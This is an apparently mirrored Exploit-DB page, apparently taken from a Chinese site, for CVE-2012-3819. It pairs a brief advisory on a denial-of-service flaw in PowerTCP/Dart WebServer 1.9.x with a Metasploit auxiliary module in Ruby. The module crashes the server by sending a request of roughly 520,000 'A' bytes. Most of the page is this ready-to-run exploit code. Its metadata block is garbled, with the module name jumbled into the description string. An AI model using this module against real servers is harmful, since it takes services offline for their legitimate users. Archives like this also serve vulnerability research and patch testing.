PowerTCP WebServer for – ActiveX Denial of Service - 体验盒子

作者： catatonicprime

日期： 2012-09-28

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/37905/

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source: https://www.securityfocus.com/bid/55761/info

PowerTCP WebServer for ActiveX is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the application (typically Internet Explorer), denying service to legitimate users.

PowerTCP WebServer for ActiveX 1.9.2 is vulnerable; other versions may also be affected.

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp

include Msf::Auxiliary::Dos

def initialize(info = {})

super(update_info(info,

'Description' => %q{ 'Name' => 'Dart Webserver

<= 1.9.0 Stack Overflow',

Dart Webserver from Dart Communications throws a stack

overflow exception

when processing large requests.

}

,

'Author' => [

'catatonicprime'

],

'Version' => '$Revision: 15513 $',

'License' => MSF_LICENSE,

'References' => [

[ 'CVE', '2012-3819' ],

],

'DisclosureDate' => '9/28/2012'))

register_options([

Opt::RPORT(80),

OptInt.new('SIZE', [ true, 'Estimated stack size to exhaust',

'520000' ])

])

end

def run

serverIP = datastore['RHOST']

if (datastore['RPORT'].to_i != 80)

serverIP += ":" + datastore['RPORT'].to_s

end

size = datastore['SIZE']

print_status("Crashing the server ...")

request = "A" * size + "\r\n\r\n"

connect

sock.put(request)

disconnect

end